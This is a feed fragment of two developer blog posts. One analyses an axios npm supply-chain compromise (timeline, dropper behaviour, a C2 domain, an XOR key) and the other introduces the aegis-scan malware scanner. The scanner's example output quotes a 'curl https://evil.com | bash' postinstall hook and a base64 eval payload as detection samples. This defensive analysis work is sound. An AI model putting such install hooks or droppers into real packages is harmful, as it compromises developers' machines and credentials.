&lt;code&gt;plain-crypto-js@4.2.1&lt;/code&gt; published, now with a malicious &lt;code&gt;postinstall&lt;/code&gt; hook&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mar 31, 00:21&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;axios@1.14.1&lt;/code&gt; published, adds &lt;code&gt;plain-crypto-js&lt;/code&gt; as a dependency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mar 31, 01:00&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;axios@0.30.4&lt;/code&gt; published, targeting legacy users still on 0.x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mar 31, ~03:15&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;npm yanks both malicious axios versions (~3 hours live)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The attacker compromised the npm account of axios's lead maintainer (&lt;code&gt;jasonsaayman&lt;/code&gt;), changed the account email to &lt;code&gt;ifstap@proton.me&lt;/code&gt;, and published two surgical updates. No axios source code was modified. The only change was one line added to &lt;code&gt;package.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"plain-crypto-js"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^4.2.1"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. One dependency. One line. That's all it takes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the payload did
&lt;/h2&gt;

&lt;p&gt;When &lt;code&gt;npm install&lt;/code&gt; resolved the new dependency, &lt;code&gt;plain-crypto-js&lt;/code&gt; ran a &lt;code&gt;postinstall&lt;/code&gt; hook that executed &lt;code&gt;setup.js&lt;/code&gt;, a 4.2 KB dropper with two-layer obfuscation (reversed Base64 + XOR cipher with key &lt;code&gt;"OrDeR_7077"&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The decoded dropper:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Detected your OS&lt;/strong&gt; (macOS, Windows, Linux)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Downloaded a platform-specific RAT&lt;/strong&gt; from &lt;code&gt;sfrclak[.]com:8000&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deleted all evidence&lt;/strong&gt;, removed &lt;code&gt;setup.js&lt;/code&gt;, swapped the malicious &lt;code&gt;package.json&lt;/code&gt; for a clean one reporting version &lt;code&gt;4.2.0&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The whole process took &lt;strong&gt;1.1 seconds&lt;/strong&gt; from &lt;code&gt;npm install&lt;/code&gt; to C2 callback.&lt;/p&gt;

&lt;h3&gt;
  
  
  Platform payloads
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;macOS:&lt;/strong&gt; Binary dropped to &lt;code&gt;/Library/Caches/com.apple.act.mond&lt;/code&gt; (disguised as an Apple system daemon), executed via &lt;code&gt;/bin/zsh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt; PowerShell copied to &lt;code&gt;%PROGRAMDATA%\wt.exe&lt;/code&gt; (disguised as Windows Terminal), VBScript + PowerShell dropper chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt; Python RAT downloaded to &lt;code&gt;/tmp/ld.py&lt;/code&gt;, detached to PID 1 with &lt;code&gt;nohup&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The RAT capabilities included system fingerprinting, 60-second C2 beacon, binary injection (&lt;code&gt;peinject&lt;/code&gt;), and remote shell execution. Any machine that ran the install was considered &lt;strong&gt;fully compromised&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why npm audit said nothing
&lt;/h2&gt;

&lt;p&gt;This is the part that matters for every JavaScript developer.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npm audit&lt;/code&gt; checks your dependency tree against the GitHub Advisory Database, a list of &lt;strong&gt;known, reported&lt;/strong&gt; vulnerabilities. It's reactive by design. It can only warn you about threats that have already been discovered, analyzed, and filed as advisories.&lt;/p&gt;

&lt;p&gt;During the three hours that &lt;code&gt;axios@1.14.1&lt;/code&gt; was live:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;❌ &lt;strong&gt;npm audit&lt;/strong&gt;, silent. No advisory existed yet.&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;&lt;code&gt;npm outdated&lt;/code&gt;&lt;/strong&gt;, it looked like a normal version bump.&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;Lockfile checks&lt;/strong&gt;, a lockfile only prevents this if you never update.&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;Code review&lt;/strong&gt;, no axios source was changed. The attack hid in a transitive dependency.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The attack was specifically designed to be invisible to these tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  What behavioral analysis catches
&lt;/h2&gt;

&lt;p&gt;The attack had &lt;strong&gt;multiple behavioral red flags&lt;/strong&gt; that don't require a vulnerability database. They're structural, detectable by analyzing &lt;em&gt;what the code does&lt;/em&gt;, not checking if someone filed a report about it.&lt;/p&gt;

&lt;p&gt;I built &lt;a href="https://github.com/z8run/aegis" rel="noopener noreferrer"&gt;aegis-scan&lt;/a&gt; to detect exactly these patterns. Here's how each analyzer would have responded to this attack:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Install Script Analyzer → 🚨 CRITICAL
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;plain-crypto-js&lt;/code&gt; used a &lt;code&gt;postinstall&lt;/code&gt; hook to execute &lt;code&gt;node setup.js&lt;/code&gt;. aegis-scan flags any lifecycle script that executes a &lt;code&gt;.js&lt;/code&gt; file, and escalates to CRITICAL when that file contains network calls or encoded strings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;⛔&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;CRITICAL,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Suspicious&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Script&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;│&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;postinstall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;executes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;JavaScript&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;file:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node setup.js"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;│&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;📄&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;node_modules/plain-crypto-js/package.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Obfuscation Analyzer → 🚨 CRITICAL
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;setup.js&lt;/code&gt; was XOR-encoded with reversed Base64. aegis-scan's entropy analysis would flag the high-entropy strings, and the base64/hex pattern detector would catch the encoded payloads, even with the custom encoding scheme.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;⛔&lt;/span&gt; &lt;span class="nx"&gt;CRITICAL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Obfuscated&lt;/span&gt; &lt;span class="nx"&gt;Code&lt;/span&gt;
&lt;span class="err"&gt;│&lt;/span&gt;  &lt;span class="nx"&gt;High&lt;/span&gt; &lt;span class="nx"&gt;entropy&lt;/span&gt; &lt;span class="nx"&gt;string&lt;/span&gt; &lt;span class="nf"&gt;detected &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Shannon&lt;/span&gt; &lt;span class="nx"&gt;entropy&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;5.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="err"&gt;│&lt;/span&gt;  &lt;span class="err"&gt;📄&lt;/span&gt; &lt;span class="nx"&gt;node_modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;plain&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Static Code Analyzer → 🚨 HIGH
&lt;/h3&gt;

&lt;p&gt;The decoded payload uses &lt;code&gt;child_process.exec()&lt;/code&gt; to launch shell commands, &lt;code&gt;fs.unlink()&lt;/code&gt; for self-deletion, and hardcoded IP addresses for C2 communication, all patterns aegis-scan detects via regex and AST analysis.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;⚠️&lt;/span&gt; &lt;span class="nx"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Code&lt;/span&gt; &lt;span class="nx"&gt;Execution&lt;/span&gt;
&lt;span class="err"&gt;│&lt;/span&gt;  &lt;span class="nx"&gt;child_process&lt;/span&gt; &lt;span class="nx"&gt;exec&lt;/span&gt; &lt;span class="kd"&gt;with&lt;/span&gt; &lt;span class="nx"&gt;dynamic&lt;/span&gt; &lt;span class="nx"&gt;argument&lt;/span&gt;
&lt;span class="err"&gt;│&lt;/span&gt;  &lt;span class="err"&gt;📄&lt;/span&gt; &lt;span class="nx"&gt;node_modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;plain&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Maintainer Analyzer → ⚠️ HIGH
&lt;/h3&gt;

&lt;p&gt;The compromised maintainer account had its email changed to a Proton Mail address (&lt;code&gt;ifstap@proton.me&lt;/code&gt;) shortly before publishing. aegis-scan flags email domain changes on established packages as a maintainer takeover signal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;⚠️&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;HIGH,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Maintainer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Change&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;│&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;Primary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;maintainer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;email&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;domain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;changed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;release&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;│&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;📄&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;axios@&lt;/span&gt;&lt;span class="mf"&gt;1.14&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;metadata&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Dependency Tree Analyzer → ⚠️ MEDIUM
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;plain-crypto-js&lt;/code&gt; was a brand-new dependency with no download history, added to a package that hadn't changed its dependency list in months. aegis-scan's dep tree analyzer flags new, unestablished transitive dependencies, especially those with install scripts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;⚠️ MEDIUM, Suspicious Dependency
│  New dependency "plain-crypto-js" has install scripts and minimal history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The combined score
&lt;/h3&gt;

&lt;p&gt;Each finding individually would raise the risk score. Together, they'd push the package well past the danger threshold:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;aegis-scan check axios@1.14.1

  📦 axios@1.14.1

  ⛔ CRITICAL, Install Script: postinstall executes &lt;span class="s2"&gt;"node setup.js"&lt;/span&gt;
  ⛔ CRITICAL, Obfuscation: high entropy encoded payload &lt;span class="k"&gt;in &lt;/span&gt;setup.js
  ⚠️  HIGH, Code Execution: child_process.exec with shell &lt;span class="nb"&gt;command&lt;/span&gt;
  ⚠️  HIGH, Maintainer Change: email domain changed before release
  ⚠️  MEDIUM, Suspicious Dependency: new dep with &lt;span class="nb"&gt;install &lt;/span&gt;scripts

  Risk: 9.2/10, DO NOT INSTALL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Five analyzers. Five independent red flags. No advisory database required.&lt;/p&gt;

&lt;h2&gt;
  
  
  The uncomfortable truth
&lt;/h2&gt;

&lt;p&gt;The axios attack wasn't sophisticated. It used a &lt;code&gt;postinstall&lt;/code&gt; hook, the oldest trick in the npm playbook. The obfuscation was basic XOR. The C2 was a raw HTTP server on port 8000.&lt;/p&gt;

&lt;p&gt;And it still worked, because the ecosystem's primary defense (&lt;code&gt;npm audit&lt;/code&gt;) is fundamentally reactive.&lt;/p&gt;

&lt;p&gt;Here's what this means for your workflow:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;npm audit&lt;/code&gt; is not a security tool. It's an advisory lookup.&lt;/strong&gt; It tells you about problems that other people already found. It will never protect you from a zero-day supply chain attack.&lt;/p&gt;

&lt;p&gt;The attack surface is structural:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;npm runs arbitrary code at install time via lifecycle scripts&lt;/li&gt;
&lt;li&gt;Dependency resolution is transitive and opaque&lt;/li&gt;
&lt;li&gt;Most developers never audit new transitive dependencies&lt;/li&gt;
&lt;li&gt;The gap between "malicious code published" and "advisory filed" is hours to days&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Closing that gap requires analyzing &lt;strong&gt;behavior&lt;/strong&gt;, not checking databases.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you can do today
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Right now:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check if you installed axios between Mar 30 23:00 UTC and Mar 31 03:15 UTC&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;ls node_modules/plain-crypto-js&lt;/code&gt;, if that directory exists, you were hit&lt;/li&gt;
&lt;li&gt;Rotate every credential on the affected machine&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Going forward:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install aegis-scan&lt;/span&gt;
cargo &lt;span class="nb"&gt;install &lt;/span&gt;aegis-scan

&lt;span class="c"&gt;# Scan your project&lt;/span&gt;
aegis-scan scan &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# Or gate your installs&lt;/span&gt;
aegis-scan &lt;span class="nb"&gt;install &lt;/span&gt;express lodash axios
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;install&lt;/code&gt; command scans first, installs only if the risk score is below the threshold. You can also run it in CI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;z8run/aegis-action@v1&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.'&lt;/span&gt;
    &lt;span class="na"&gt;fail-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;high'&lt;/span&gt;
    &lt;span class="na"&gt;sarif&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;true'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Disable install scripts for untrusted packages:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# npm 11.10+&lt;/span&gt;
npm config &lt;span class="nb"&gt;set &lt;/span&gt;install-strategy&lt;span class="o"&gt;=&lt;/span&gt;hoisted
npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt;

&lt;span class="c"&gt;# Then selectively allow trusted packages&lt;/span&gt;
npx &lt;span class="nt"&gt;--yes&lt;/span&gt; allow-scripts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  It's open source
&lt;/h2&gt;

&lt;p&gt;aegis-scan is MIT-licensed: &lt;a href="https://github.com/z8run/aegis" rel="noopener noreferrer"&gt;github.com/z8run/aegis&lt;/a&gt;. It runs locally, offline, with no accounts or API keys.&lt;/p&gt;

&lt;p&gt;The axios attack was a wake-up call, but it won't be the last. The next one might not be caught in three hours. It might not be caught for weeks. The only defense that works against unknown threats is analyzing what code actually does, before it runs on your machine.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This is a follow-up to my previous post &lt;a href="https://dev.to/poolcamacho/i-built-an-npm-malware-scanner-in-rust-because-npm-audit-isnt-enough-3j5b"&gt;"I Built an npm Malware Scanner in Rust Because npm audit Isn't Enough"&lt;/a&gt;. If you have questions or want to contribute, open an issue on &lt;a href="https://github.com/z8run/aegis" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>npm</category>
      <category>security</category>
      <category>javascript</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I built an npm malware scanner in Rust because npm audit isn't enough</title>
      <dc:creator>Pool Camacho</dc:creator>
      <pubDate>Fri, 03 Apr 2026 16:18:44 +0000</pubDate>
      <link>https://dev.to/poolcamacho/i-built-an-npm-malware-scanner-in-rust-because-npm-audit-isnt-enough-3j5b</link>
      <guid>https://dev.to/poolcamacho/i-built-an-npm-malware-scanner-in-rust-because-npm-audit-isnt-enough-3j5b</guid>
      <description>&lt;p&gt;Last week I ran &lt;code&gt;npm install&lt;/code&gt; on a new project. 847 packages downloaded in twelve seconds. And I thought: what if one of those just stole my AWS keys?&lt;/p&gt;

&lt;p&gt;Not a crazy thought. It happened before.&lt;/p&gt;

&lt;p&gt;In 2018, &lt;code&gt;event-stream&lt;/code&gt; got a new maintainer who slipped in code that stole cryptocurrency wallets. Two million weekly downloads. In 2021, &lt;code&gt;ua-parser-js&lt;/code&gt; was hijacked to install cryptominers. In 2022, the author of &lt;code&gt;colors.js&lt;/code&gt; broke it on purpose, taking down thousands of projects overnight.&lt;/p&gt;

&lt;p&gt;All of them passed &lt;code&gt;npm audit&lt;/code&gt; with zero warnings.&lt;/p&gt;

&lt;h2&gt;
  
  
  npm audit only catches what someone already reported
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;npm audit&lt;/code&gt; checks a database of known vulnerabilities. If nobody filed a report yet, it stays silent. That gap between "malicious code gets published" and "someone notices" can be days or weeks. By then, you already have it in your &lt;code&gt;node_modules&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Snyk and Socket are better at this, but they're SaaS. You need an account, sometimes a paid plan, and your code goes to their servers for analysis.&lt;/p&gt;

&lt;p&gt;I wanted something different: a tool that downloads the package, looks at the actual code, and tells me if something looks wrong. Locally. No accounts. No cloud.&lt;/p&gt;

&lt;p&gt;So I built &lt;strong&gt;aegis-scan&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it does
&lt;/h2&gt;

&lt;p&gt;aegis-scan is a Rust CLI. You point it at a package and it tells you if the code looks suspicious:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;aegis-scan check suspicious-pkg@1.0.0
&lt;span class="go"&gt;
  📦 suspicious-pkg@1.0.0

  ⛔ CRITICAL: Code Execution
  │  eval() with base64 encoded payload
  │  📄 lib/index.js:14
  │  └─ eval(Buffer.from("d2luZG93cy...", "base64").toString())

  ⚠️  HIGH: Install Script
  │  postinstall downloads and executes remote script
  │  📄 package.json
  │  └─ "postinstall": "curl https://evil.com | bash"

  Risk: 8.5/10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It downloads the tarball from npm, extracts it, and runs 9 different analyzers on the code. Then gives you a score from 0 to 10.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it catches
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Obfuscated eval with encoded payloads.&lt;/strong&gt; The #1 pattern in npm malware. aegis-scan uses tree-sitter to parse the JavaScript AST, so it catches these even when spread across multiple statements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suspicious install scripts.&lt;/strong&gt; A &lt;code&gt;postinstall&lt;/code&gt; that runs &lt;code&gt;curl | bash&lt;/code&gt; is how most npm attacks get code execution. aegis-scan flags any shell commands or network calls in lifecycle scripts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Maintainer takeovers.&lt;/strong&gt; When a package suddenly gets a new maintainer (like event-stream did), that's a red flag. aegis-scan checks the npm registry metadata for ownership changes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI hallucination packages.&lt;/strong&gt; ChatGPT and Copilot sometimes suggest packages that don't exist. Attackers register those names with malicious code. aegis-scan flags packages that look like they were created just to catch this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Known CVEs.&lt;/strong&gt; Checks against the OSV.dev vulnerability database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Typosquatting.&lt;/strong&gt; Catches &lt;code&gt;axois&lt;/code&gt; instead of &lt;code&gt;axios&lt;/code&gt;, &lt;code&gt;lodassh&lt;/code&gt; instead of &lt;code&gt;lodash&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;cargo &lt;span class="nb"&gt;install &lt;/span&gt;aegis-scan

&lt;span class="c"&gt;# check one package&lt;/span&gt;
aegis-scan check axios

&lt;span class="c"&gt;# scan your whole project&lt;/span&gt;
aegis-scan scan &lt;span class="nb"&gt;.&lt;/span&gt;

&lt;span class="c"&gt;# scan and then install&lt;/span&gt;
aegis-scan &lt;span class="nb"&gt;install &lt;/span&gt;express
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you don't have Rust, grab a binary from the &lt;a href="https://github.com/z8run/aegis/releases" rel="noopener noreferrer"&gt;releases page&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  CI integration
&lt;/h2&gt;

&lt;p&gt;You can add it to your GitHub Actions pipeline:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;z8run/aegis-action@v1&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.'&lt;/span&gt;
    &lt;span class="na"&gt;fail-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;high'&lt;/span&gt;
    &lt;span class="na"&gt;sarif&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;true'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With &lt;code&gt;sarif: true&lt;/code&gt;, results show up in GitHub's Security tab. The action fails the build if any dependency is rated HIGH or CRITICAL.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;p&gt;aegis-scan pulls the package tarball, extracts it to a temp dir, and runs these analyzers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Static code analysis (regex patterns for eval, child_process, env harvesting)&lt;/li&gt;
&lt;li&gt;AST analysis (tree-sitter parses JS to catch structural patterns regex misses)&lt;/li&gt;
&lt;li&gt;Install script analysis (preinstall/postinstall hooks)&lt;/li&gt;
&lt;li&gt;Obfuscation detection (entropy analysis, encoded payloads)&lt;/li&gt;
&lt;li&gt;Maintainer tracking (ownership changes, new accounts)&lt;/li&gt;
&lt;li&gt;Hallucination detection (fake packages from LLM suggestions)&lt;/li&gt;
&lt;li&gt;CVE lookup (OSV.dev)&lt;/li&gt;
&lt;li&gt;Typosquatting check&lt;/li&gt;
&lt;li&gt;Custom YAML rules&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Findings get weighted by severity and summed into a 0-10 risk score. Results are cached for 24 hours so repeated checks are instant.&lt;/p&gt;

&lt;p&gt;It's Rust, so scanning 50+ dependencies takes a few seconds, not minutes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Custom rules
&lt;/h2&gt;

&lt;p&gt;You can add your own detection rules as YAML files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
